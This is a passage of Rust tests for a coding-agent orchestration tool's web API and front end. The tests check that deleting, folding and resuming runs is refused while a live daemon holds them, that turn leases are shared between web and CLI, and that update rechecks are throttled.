21135        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21136            .expect("leave a stale heartbeat");
21137        let mut t3 = Task::new(
21138            "Task 3".to_owned(),
21139            "Instruction 3".to_owned(),
21140            PathBuf::from("/repo"),
21141            Source::Human,
21142        );
21143        t3.status = TaskStatus::Running;
21144        q.put(&mut t3).expect("put t3");
21145        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21146        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21147        assert_eq!(res.status, 204);
21148        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21149        assert!(
21150            q.claim(&t3.id).is_ok(),
21151            "the stale lock went with it, so the id is claimable again"
21152        );
21153
21154        // 4. Missing id returns 404
21155        let res = fx.delete("/api/queue/nonexistent").await;
21156        assert_eq!(res.status, 404);
21157    }
21158
21159    #[tokio::test]
21160    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21161        let fx = Fixture::start().await;
21162        let runs = fx.runs();
21163
21164        // 1. Finished and folded run can be deleted along with artifacts
21165        let run_id = "20260901-000000-fold";
21166        let mut state = RunState::new(
21167            PathBuf::from("/repo"),
21168            "main".to_owned(),
21169            "abc".to_owned(),
21170            "instruction".to_owned(),
21171            Config::default(),
21172        );
21173        state.id = run_id.to_owned();
21174        state.status = RunStatus::Merged;
21175        state.candidates.push(crate::run::Candidate {
21176            index: 0,
21177            label: 'A',
21178            agent: "a".to_owned(),
21179            branch: "b".to_owned(),
21180            worktree: PathBuf::from("/w"),
21181            summary: String::new(),
21182            stat: String::new(),
21183            files: 1,
21184            commits: 1,
21185            empty: false,
21186            failed: None,
21187            verified_noop: None,
21188            duration_ms: 0,
21189            folded: true,
21190        });
21191        let dir = runs.join(run_id);
21192        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21193        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21194            .expect("write artifact");
21195        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21196            .expect("write run.json");
21197
21198        // Delete by short id
21199        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21200        assert_eq!(res.status, 204);
21201        assert!(res.body.is_empty(), "204 has no body");
21202        assert!(!dir.exists(), "run directory and artifacts must be deleted");
21203
21204        // 2. A run a live daemon is working on is refused with 409. The
21205        // heartbeat is what makes it refusable: an unfinished run with no
21206        // daemon behind it is a leftover from a killed process, and case 1
21207        // above would otherwise be impossible to tell apart from this one.
21208        let run_running = "20260901-000000-rung";
21209        write_run(&runs, run_running, RunStatus::Prep);
21210        let mut beat = crate::daemon::Status::new();
21211        beat.current = vec![crate::daemon::Current {
21212            worker: None,
21213            task: "20260901-000000-task".to_owned(),
21214            run: run_running.to_owned(),
21215        }];
21216        beat.updated_at = jiff::Timestamp::now();
21217        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21218            .expect("publish a heartbeat");
21219        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21220        assert_eq!(res.status, 409);
21221        assert!(
21222            res.json()["error"]
21223                .as_str()
21224                .unwrap()
21225                .contains("live daemon"),
21226            "the refusal must say who is holding it"
21227        );
21228        assert!(
21229            runs.join(run_running).exists(),
21230            "a run in flight keeps its directory"
21231        );
21232
21233        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
21234        let run_unfolded = "20260901-000000-unfd";
21235        let mut state2 = RunState::new(
21236            PathBuf::from("/repo"),
21237            "main".to_owned(),
21238            "abc".to_owned(),
21239            "instruction".to_owned(),
21240            Config::default(),
21241        );
21242        state2.id = run_unfolded.to_owned();
21243        state2.status = RunStatus::Ready;
21244        state2.candidates.push(crate::run::Candidate {
21245            index: 0,
21246            label: 'A',
21247            agent: "a".to_owned(),
21248            branch: "b".to_owned(),
21249            worktree: PathBuf::from("/w"),
21250            summary: String::new(),
21251            stat: String::new(),
21252            files: 1,
21253            commits: 1,
21254            empty: false,
21255            failed: None,
21256            verified_noop: None,
21257            duration_ms: 0,
21258            folded: false,
21259        });
21260        let dir2 = runs.join(run_unfolded);
21261        std::fs::create_dir_all(&dir2).expect("create dir2");
21262        std::fs::write(
21263            dir2.join("run.json"),
21264            serde_json::to_string(&state2).unwrap(),
21265        )
21266        .expect("write run.json");
21267
21268        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21269        assert_eq!(res.status, 409);
21270        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21271        assert!(dir2.exists(), "unfolded run directory is kept");
21272
21273        // 4. Missing id returns 404
21274        let res = fx.delete("/api/runs/nonexistent").await;
21275        assert_eq!(res.status, 404);
21276    }
21277
21278    /// The queue tiles on the Stats tab must render even on a home with no
21279    /// runs at all: queue state is not derived from run history, so hiding
21280    /// the whole dashboard body behind "no runs yet" would drop the one
21281    /// thing this tab promises unconditionally (queued/running/held/done).
21282    /// A DOM-level test would need a browser this suite does not have, so
21283    /// this pins the same invariant textually: `renderStatsQueue` is called
21284    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
21285    /// block that gates the run-derived panels.
21286    #[test]
21287    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21288        let start = APP_JS
21289            .find("function renderStats() {")
21290            .expect("renderStats");
21291        let end = start
21292            + APP_JS[start..]
21293                .find("function statsTile(")
21294                .expect("the next top-level function");
21295        let body = &APP_JS[start..end];
21296
21297        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21298        let gate_end = gate_start
21299            + body[gate_start..]
21300                .find("}\n  renderStatsQueue")
21301                .expect("the gate's own closing brace, right before the unconditional call");
21302        let gated = &body[gate_start..gate_end];
21303
21304        assert_eq!(
21305            body.matches("renderStatsQueue(").count(),
21306            1,
21307            "renderStats must call renderStatsQueue exactly once: {body}"
21308        );
21309        assert!(
21310            !gated.contains("renderStatsQueue"),
21311            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21312             run-derived panels on an empty run history - the queue panel has to render \
21313             regardless: {gated}"
21314        );
21315    }
21316
21317    #[test]
21318    fn web_ui_delete_contract_in_front_end() {
21319        // 1. API block has both delete endpoints
21320        assert!(APP_JS.contains("deleteRun:"));
21321        assert!(APP_JS.contains("deleteTask:"));
21322
21323        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
21324        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21325            ..APP_JS.find("function renderRuns").unwrap()];
21326        assert!(!run_cards_slice.to_lowercase().contains("delete"));
21327
21328        // 3. Run detail has delete entry and reasons
21329        assert!(APP_JS.contains("renderRunDelete"));
21330        assert!(APP_JS.contains("runDeleteReason"));
21331        assert!(APP_JS.contains("magi fold"));
21332        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21333
21334        // 4. Two-step delete arming and focus on Cancel
21335        assert!(APP_JS.contains("cancel.focus"));
21336        assert!(APP_JS.contains("armedRunDelete"));
21337        assert!(APP_JS.contains("renderTaskDeleteBox"));
21338        assert!(APP_JS.contains("armed${cap(key)}"));
21339
21340        // 5. Running task has disabled delete
21341        assert!(APP_JS.contains("disabled: status === \"running\""));
21342    }
21343
21344    /// Every element a run card's updater reaches for must be in the `refs`
21345    /// the builder handed it.
21346    ///
21347    /// `createRunCard` builds its elements, appends them to the card, and then
21348    /// lists them again in `row.refs`. That second list is the one the updater
21349    /// uses, and nothing connects the two - an element can be built, appended
21350    /// and rendered, and still be missing from `refs`. `superseded` was, for
21351    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
21352    /// exception took `syncList` with it, and the deck showed
21353    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
21354    /// line is computed before the cards, which is why the failure looked like
21355    /// a server that had lost its runs rather than a front end that had
21356    /// stopped rendering them.
21357    ///
21358    /// A `cargo test` cannot execute the front end, so this reads the two
21359    /// halves out of the source and compares them as sets. It is not a check
21360    /// on the wording of either list: adding an element, renaming one, or
21361    /// reordering them all keeps this passing, and only using one the builder
21362    /// never published fails it.
21363    #[test]
21364    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21365        let build = APP_JS
21366            .find("function createRunCard")
21367            .expect("createRunCard exists");
21368        let update = APP_JS
21369            .find("function updateRunCard")
21370            .expect("updateRunCard exists");
21371        let end = APP_JS
21372            .find("function renderRuns")
21373            .expect("renderRuns exists");
21374
21375        // The builder's published set: the object literal assigned to `refs`.
21376        let builder = &APP_JS[build..update];
21377        let open = builder.find("refs = {").expect("createRunCard sets refs");
21378        let literal = &builder[open + "refs = {".len()..];
21379        let close = literal.find('}').expect("the refs literal is closed");
21380        let published: HashSet<&str> = literal[..close]
21381            .split(',')
21382            // `name` and `name: value` both bind `name`.
21383            .filter_map(|entry| entry.split(':').next())
21384            .map(str::trim)
21385            .filter(|name| !name.is_empty())
21386            .collect();
21387        assert!(
21388            published.len() > 5,
21389            "the refs literal did not parse into names: {published:?}"
21390        );
21391
21392        // What the updaters reach for: every `r.<name>`, where `r` is the
21393        // `const r = row.refs` alias both functions open with.
21394        let mut used: Vec<&str> = Vec::new();
21395        let updaters = &APP_JS[update..end];
21396        for (at, _) in updaters.match_indices("r.") {
21397            // `r` must be the whole identifier, not the tail of another one
21398            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21399            let before = updaters[..at].chars().next_back();
21400            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21401                continue;
21402            }
21403            let rest = &updaters[at + 2..];
21404            let len = rest
21405                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21406                .unwrap_or(rest.len());
21407            if len > 0 {
21408                used.push(&rest[..len]);
21409            }
21410        }
21411        assert!(
21412            used.len() > 5,
21413            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21414        );
21415
21416        let missing: Vec<&str> = used
21417            .iter()
21418            .copied()
21419            .filter(|name| !published.contains(name))
21420            .collect();
21421        assert!(
21422            missing.is_empty(),
21423            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21424             never put in `refs` - every card will throw and the list will \
21425             render empty under a count line that says otherwise. Published: \
21426             {published:?}"
21427        );
21428    }
21429
21430    #[tokio::test]
21431    async fn folding_from_the_phone_reports_what_it_removed() {
21432        let fx = Fixture::start().await;
21433        let runs = fx.runs();
21434
21435        // A run with no candidates has nothing to fold, which is a 200 with an
21436        // honest count rather than an error: the operator asked for the trees
21437        // to be gone and they are.
21438        let id = "20260901-000000-fold";
21439        write_run(&runs, id, RunStatus::Stalled);
21440        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21441        assert_eq!(res.status, 200);
21442        assert_eq!(res.json()["removed_count"], 0);
21443        assert_eq!(res.json()["run"], id);
21444        assert!(
21445            runs.join(id).exists(),
21446            "a fold keeps the run's record; only the worktrees go"
21447        );
21448    }
21449
21450    #[tokio::test]
21451    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21452        let fx = Fixture::start().await;
21453        let runs = fx.runs();
21454        let wt = fx.home.path().join("wt").join("magi").join("dead");
21455        let id = "20260901-000000-dead";
21456        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21457        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21458        std::fs::create_dir_all(&wt).expect("worktree dir");
21459
21460        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21461        assert_eq!(res.status, 200, "{}", res.body);
21462        assert!(
21463            res.json()["removed_count"].as_u64().unwrap() > 0,
21464            "the worktree this build could not read a state for still went"
21465        );
21466        assert!(
21467            !runs.join(id).exists(),
21468            "an unreadable run has no candidate list to fold selectively, so \
21469             the whole record goes - same as `magi fold` on the CLI"
21470        );
21471    }
21472
21473    #[tokio::test]
21474    async fn deleting_an_unreadable_run_removes_it_wholesale() {
21475        let fx = Fixture::start().await;
21476        let runs = fx.runs();
21477        let wt = fx.home.path().join("wt").join("magi").join("gone");
21478        let id = "20260901-000000-gone";
21479        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21480        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21481        std::fs::create_dir_all(&wt).expect("worktree dir");
21482
21483        let res = fx.delete(&format!("/api/runs/{id}")).await;
21484        assert_eq!(res.status, 204, "{}", res.body);
21485        assert!(!runs.join(id).exists(), "the broken record is gone");
21486        assert!(!wt.exists(), "its worktree is gone too");
21487    }
21488
21489    #[tokio::test]
21490    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21491        let fx = Fixture::start().await;
21492        let runs = fx.runs();
21493        let id = "20260901-000000-live";
21494        write_run(&runs, id, RunStatus::Implementing);
21495
21496        let mut beat = crate::daemon::Status::new();
21497        beat.current = vec![crate::daemon::Current {
21498            worker: None,
21499            task: "20260901-000000-task".to_owned(),
21500            run: id.to_owned(),
21501        }];
21502        beat.updated_at = jiff::Timestamp::now();
21503        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21504            .expect("publish a heartbeat");
21505
21506        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21507        assert_eq!(res.status, 409);
21508        assert!(
21509            res.json()["error"]
21510                .as_str()
21511                .unwrap()
21512                .contains("live daemon"),
21513            "folding under a running agent would pull its worktree away"
21514        );
21515    }
21516
21517    #[tokio::test]
21518    async fn fold_merged_requires_a_pr_url() {
21519        let fx = Fixture::start().await;
21520        let runs = fx.runs();
21521        let id = "20260901-000000-nourl";
21522        write_run(&runs, id, RunStatus::Blocked);
21523
21524        let res = fx
21525            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21526            .await;
21527        assert_eq!(res.status, 400, "{}", res.body);
21528
21529        let blank = fx
21530            .post(
21531                &format!("/api/runs/{id}/fold-merged"),
21532                Some(r#"{"pr_url":"   "}"#),
21533            )
21534            .await;
21535        assert_eq!(blank.status, 400, "{}", blank.body);
21536    }
21537
21538    #[tokio::test]
21539    async fn fold_merged_is_404_for_an_unknown_run() {
21540        let fx = Fixture::start().await;
21541        let res = fx
21542            .post(
21543                "/api/runs/nosuchrun/fold-merged",
21544                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21545            )
21546            .await;
21547        assert_eq!(res.status, 404, "{}", res.body);
21548    }
21549
21550    #[tokio::test]
21551    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21552        let fx = Fixture::start().await;
21553        let runs = fx.runs();
21554        let id = "20260901-000000-livemerge";
21555        write_run(&runs, id, RunStatus::Blocked);
21556
21557        let mut beat = crate::daemon::Status::new();
21558        beat.current = vec![crate::daemon::Current {
21559            worker: None,
21560            task: "20260901-000000-task".to_owned(),
21561            run: id.to_owned(),
21562        }];
21563        beat.updated_at = jiff::Timestamp::now();
21564        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21565            .expect("publish a heartbeat");
21566
21567        let res = fx
21568            .post(
21569                &format!("/api/runs/{id}/fold-merged"),
21570                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21571            )
21572            .await;
21573        assert_eq!(res.status, 409, "{}", res.body);
21574        assert!(
21575            res.json()["error"]
21576                .as_str()
21577                .unwrap()
21578                .contains("live daemon"),
21579            "correcting a run's merge underneath a running agent would race \
21580             whatever it is doing to the same `status`/`merge` fields"
21581        );
21582    }
21583
21584    /// A pull request `gh` cannot even ask about (no such remote, no such
21585    /// repository) must never be recorded as a merge on a guess - the same
21586    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
21587    /// command line, reached here through the phone route instead.
21588    #[tokio::test]
21589    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21590        let fx = Fixture::start().await;
21591        let runs = fx.runs();
21592        let id = "20260901-000000-unconfirmed";
21593        write_run(&runs, id, RunStatus::Blocked);
21594
21595        let res = fx
21596            .post(
21597                &format!("/api/runs/{id}/fold-merged"),
21598                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21599            )
21600            .await;
21601        assert_eq!(res.status, 400, "{}", res.body);
21602        assert_eq!(
21603            read_run(&runs, id).unwrap().status,
21604            RunStatus::Blocked,
21605            "a pull request that could not be confirmed merged must leave \
21606             the run exactly where it was"
21607        );
21608    }
21609
21610    #[tokio::test]
21611    async fn terminal_runs_cannot_be_resumed() {
21612        let fx = Fixture::start().await;
21613        let runs = fx.runs();
21614
21615        for (status, word) in [
21616            (RunStatus::Merged, "merged"),
21617            (RunStatus::Ready, "ready"),
21618            (RunStatus::Failed, "failed"),
21619        ] {
21620            let id = format!("20260901-000000-{}", &word[..4]);
21621            write_run(&runs, &id, status);
21622            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21623            assert_eq!(res.status, 409, "{word} must not be resumable");
21624        }
21625    }
21626
21627    #[tokio::test]
21628    async fn resume_is_refused_while_the_loop_is_running() {
21629        let fx = Fixture::start().await;
21630        let runs = fx.runs();
21631        let stalled = "20260901-000000-stal";
21632        write_run(&runs, stalled, RunStatus::Stalled);
21633
21634        // The loop is busy with a *different* run, and that is still a
21635        // refusal: a manual resume must never race whatever the loop itself
21636        // is already driving, whether that is one run or several.
21637        let mut beat = crate::daemon::Status::new();
21638        beat.current = vec![crate::daemon::Current {
21639            worker: None,
21640            task: "20260901-000000-task".to_owned(),
21641            run: "20260901-000000-othr".to_owned(),
21642        }];
21643        beat.updated_at = jiff::Timestamp::now();
21644        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21645            .expect("publish a heartbeat");
21646
21647        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21648        assert_eq!(res.status, 409);
21649        let err = res.json()["error"].as_str().unwrap().to_owned();
21650        assert!(err.contains("othr"), "it names what the loop is on: {err}");
21651        assert!(err.contains("stop it first"), "{err}");
21652    }
21653
21654    #[test]
21655    fn a_run_cannot_be_resumed_twice_at_once() {
21656        let home = TempDir::new().expect("temp home");
21657        let ui = Ui::new(
21658            Queue::at(home.path().join("queue")),
21659            Questions::at(home.path().join("questions")),
21660            Talks::at(home.path().join("talks")),
21661            home.path().join("runs"),
21662            home.path().to_path_buf(),
21663            PathBuf::from("/repo"),
21664        )
21665        .with_worktrees_root(home.path().join("wt"));
21666        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21667        let again = ui.begin_resume("20260901-000000-once");
21668        assert!(again.is_err(), "a second tap must not start a second graph");
21669        drop(first);
21670        assert!(
21671            ui.begin_resume("20260901-000000-once").is_ok(),
21672            "and the claim is released when the attempt ends"
21673        );
21674    }
21675
21676    #[test]
21677    fn talk_thinking_tracks_only_its_held_turn_claim() {
21678        let home = TempDir::new().expect("temp home");
21679        let ui = Ui::new(
21680            Queue::at(home.path().join("queue")),
21681            Questions::at(home.path().join("questions")),
21682            Talks::at(home.path().join("talks")),
21683            home.path().join("runs"),
21684            home.path().to_path_buf(),
21685            PathBuf::from("/repo"),
21686        )
21687        .with_worktrees_root(home.path().join("wt"));
21688        let id = "20260901-000000-once";
21689
21690        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21691        let turn = ui.begin_talk_turn(id).expect("claim turn");
21692        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21693        assert!(
21694            !ui.is_thinking("20260901-000000-other"),
21695            "one talk's turn does not make another talk busy"
21696        );
21697        drop(turn);
21698        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21699    }
21700
21701    #[test]
21702    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21703        let home = TempDir::new().expect("temp home");
21704        let talks = Talks::at(home.path().join("talks"));
21705        let ui = Ui::new(
21706            Queue::at(home.path().join("queue")),
21707            Questions::at(home.path().join("questions")),
21708            talks.clone(),
21709            home.path().join("runs"),
21710            home.path().to_path_buf(),
21711            PathBuf::from("/repo"),
21712        )
21713        .with_worktrees_root(home.path().join("wt"));
21714        let id = "20260901-000000-cross";
21715
21716        let other = Talks::at(home.path().join("talks"))
21717            .claim_turn(id)
21718            .expect("claim")
21719            .expect("the other process wins");
21720        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21721        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21722        assert!(
21723            matches!(
21724                ui.begin_talk_turn_unless_pending(id).expect("start"),
21725                TalkTurnStart::Foreign
21726            ),
21727            "a foreign holder is refused, not queued behind"
21728        );
21729        assert!(
21730            !ui.talk_turns.lock().unwrap().live.contains(id),
21731            "a refused claim leaves no in-process entry behind"
21732        );
21733        drop(other);
21734        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21735        assert!(talks.turn_held(id), "the web turn holds the lease");
21736        drop(turn);
21737        assert!(
21738            !talks.turn_held(id),
21739            "dropping the guard releases the lease"
21740        );
21741    }
21742
21743    fn consult_question(ui: &Ui) -> Question {
21744        let mut q = Question::new(
21745            "20260901-000000-consult".to_owned(),
21746            "implement".to_owned(),
21747            "impl-A".to_owned(),
21748            "Which backend?".to_owned(),
21749            String::new(),
21750            vec!["SQLite".to_owned(), "Redis".to_owned()],
21751        );
21752        ui.questions.put(&mut q).expect("question");
21753        q
21754    }
21755
21756    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21757        (
21758            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21759            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21760        )
21761    }
21762
21763    #[tokio::test]
21764    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21765        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21766        let q = consult_question(&ui);
21767        let talk = ui.talks.get(&id).expect("talk");
21768        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21769        let before = consult_snapshot(&ui, &q, &id);
21770        let cli_talks = Talks::at(ui.home.join("talks"));
21771        assert_eq!(
21772            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21773                .await
21774                .expect("CLI starter"),
21775            crate::consult::Started::Busy
21776        );
21777        assert_eq!(consult_snapshot(&ui, &q, &id), before);
21778        assert!(ui.is_thinking(&id));
21779        drop(guard);
21780        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21781    }
21782
21783    #[tokio::test]
21784    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21785        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21786        let q = consult_question(&ui);
21787        let talk = ui.talks.get(&id).expect("talk");
21788        let started = tmp.path().join("started");
21789        let release = tmp.path().join("release");
21790        let script = tmp.path().join("consult-agent.sh");
21791        std::fs::write(
21792            &script,
21793            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
21794        )
21795        .expect("script");
21796        let mut cfg = stub_config();
21797        cfg.agents[0].id = "mock".to_owned();
21798        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21799        cfg.agents[0].env = std::collections::BTreeMap::from([
21800            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21801            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21802        ]);
21803        let questions = ui.questions.clone();
21804        let cli_talks = Talks::at(ui.home.join("talks"));
21805        let cli_q = q.clone();
21806        let turn = tokio::spawn(async move {
21807            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21808        });
21809        let ready = tokio::time::timeout(Duration::from_secs(30), async {
21810            while !started.exists() {
21811                tokio::time::sleep(Duration::from_millis(10)).await;
21812            }
21813        })
21814        .await;
21815        // Always release and join the agent, even if readiness or the web
21816        // request fails, so a failed assertion cannot leave a turn behind.
21817        let refusal = if ready.is_ok() {
21818            let before = consult_snapshot(&ui, &q, &id);
21819            let result = talk_say(
21820                State(Arc::clone(&ui)),
21821                Path(id.clone()),
21822                Ok(Json(NewTalkTurn {
21823                    reply_to: None,
21824                    text: "another message".to_owned(),
21825                    attachments: Vec::new(),
21826                })),
21827            )
21828            .await;
21829            Some((result, before, consult_snapshot(&ui, &q, &id)))
21830        } else {
21831            None
21832        };
21833        std::fs::write(&release, "").expect("release agent");
21834        let done = turn.await.expect("join CLI turn");
21835        ready.expect("agent started before deadline");
21836        let (result, before, after) = refusal.expect("web request");
21837        let error = result.expect_err("web must refuse the CLI's turn");
21838        assert_eq!(error.status, StatusCode::CONFLICT);
21839        assert!(error.message.contains("a turn is already running"));
21840        assert_eq!(
21841            after, before,
21842            "refusal preserves question, draft and history"
21843        );
21844        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21845        let guard = ui
21846            .begin_talk_turn(&id)
21847            .expect("web claim")
21848            .expect("free again");
21849        drop(guard);
21850    }
21851
21852    #[test]
21853    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21854        let home = TempDir::new().expect("temp home");
21855        let talks = Talks::at(home.path().join("talks"));
21856        let ui = Ui::new(
21857            Queue::at(home.path().join("queue")),
21858            Questions::at(home.path().join("questions")),
21859            talks.clone(),
21860            home.path().join("runs"),
21861            home.path().to_path_buf(),
21862            PathBuf::from("/repo"),
21863        )
21864        .with_worktrees_root(home.path().join("wt"));
21865        let id = "20260901-000000-order";
21866        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21867        // Hold the slot mutex so the drop can finish the lease but not the slot.
21868        let slots = ui.talk_turns.lock().unwrap();
21869        let dropper = std::thread::spawn(move || drop(turn));
21870        let start = std::time::Instant::now();
21871        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21872            std::thread::sleep(Duration::from_millis(5));
21873        }
21874        assert!(!talks.turn_held(id), "the lease is released first");
21875        assert!(slots.live.contains(id), "the slot is still held meanwhile");
21876        drop(slots);
21877        dropper.join().expect("join");
21878        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21879    }
21880
21881    #[tokio::test]
21882    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
21883        let fx = Fixture::start().await;
21884        let mut beat = crate::daemon::Status::new();
21885        beat.worker_protocol = None;
21886        beat.pid = 4321;
21887        beat.updated_at = jiff::Timestamp::now();
21888        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21889            .expect("publish a heartbeat");
21890
21891        let res = fx.post("/api/upgrade", None).await;
21892        assert_eq!(res.status, 409);
21893    }
21894
21895    /// [`should_spawn_recheck`] must refuse for the same two reasons
21896    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
21897    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
21898    /// Purely a predicate over config and the environment - no network, no
21899    /// disk, no runtime - so unlike the fixture-based tests around it this
21900    /// one needs neither.
21901    #[test]
21902    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21903        assert!(!should_spawn_recheck(&crate::config::Update {
21904            mode: UpdateMode::Off,
21905            interval: None,
21906            auto_restart: false,
21907        }));
21908
21909        // SAFETY: single-threaded as far as this variable goes, the same
21910        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21911        unsafe {
21912            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21913        }
21914        let killed = should_spawn_recheck(&crate::config::Update {
21915            mode: UpdateMode::Notify,
21916            interval: None,
21917            auto_restart: false,
21918        });
21919        unsafe {
21920            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21921        }
21922        assert!(
21923            !killed,
21924            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21925             one-time startup check"
21926        );
21927
21928        assert!(should_spawn_recheck(&crate::config::Update {
21929            mode: UpdateMode::Notify,
21930            interval: None,
21931            auto_restart: false,
21932        }));
21933    }
21934
21935    /// [`recheck_poll_period`] must track a configured `[update] interval`
21936    /// shorter than its own default ceiling - a fixed sleep here would leave
21937    /// an operator's short interval waiting on the next wake-up instead of on
21938    /// `should_check`, which is the same bug this whole task exists to fix,
21939    /// just one level down.
21940    #[test]
21941    fn recheck_poll_period_tracks_a_short_configured_interval() {
21942        let short = crate::config::Update {
21943            mode: UpdateMode::Notify,
21944            interval: Some("1m".to_owned()),
21945            auto_restart: false,
21946        };
21947        let period = recheck_poll_period(&short);
21948        assert!(
21949            period <= Duration::from_secs(30),
21950            "a one-minute interval must wake the task far sooner than the \
21951             default ceiling, or the deck would not notice within the \
21952             interval the operator configured: got {period:?}"
21953        );
21954
21955        let default = crate::config::Update {
21956            mode: UpdateMode::Notify,
21957            interval: None,
21958            auto_restart: false,
21959        };
21960        assert_eq!(
21961            recheck_poll_period(&default),
21962            UPDATE_RECHECK_POLL_MAX,
21963            "the default day-long interval should poll at the (capped) \
21964             ceiling rather than needlessly often"
21965        );
21966    }
21967
21968    /// [`update_recheck_due`] must not repeat a check made moments ago, the
21969    /// same throttle `updater::Checker::should_check` already gives the
21970    /// CLI's notify mode. Built over an explicit state file via
21971    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
21972    /// write the operator's real `last_update_check.json` - and therefore
21973    /// cannot flake on whatever that file happens to say on the machine
21974    /// running the test.
21975    #[test]
21976    fn recheck_skips_the_network_before_the_interval_elapses() {
21977        let dir = TempDir::new().expect("temp dir");
21978        let path = dir.path().join("state.json");
21979        let state = kaishin::UpdateCheckState {
21980            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21981            last_known_latest: None,
21982            last_known_url: None,
21983        };
21984        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21985
21986        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21987        assert!(
21988            !update_recheck_due(&checker, None),
21989            "a check made moments ago must not be repeated before the \
21990             configured interval elapses"
21991        );
21992    }
21993
21994    /// An upgrade this deck already started must not be raced by a recheck
21995    /// that discovers a newer release mid-install - regardless of what
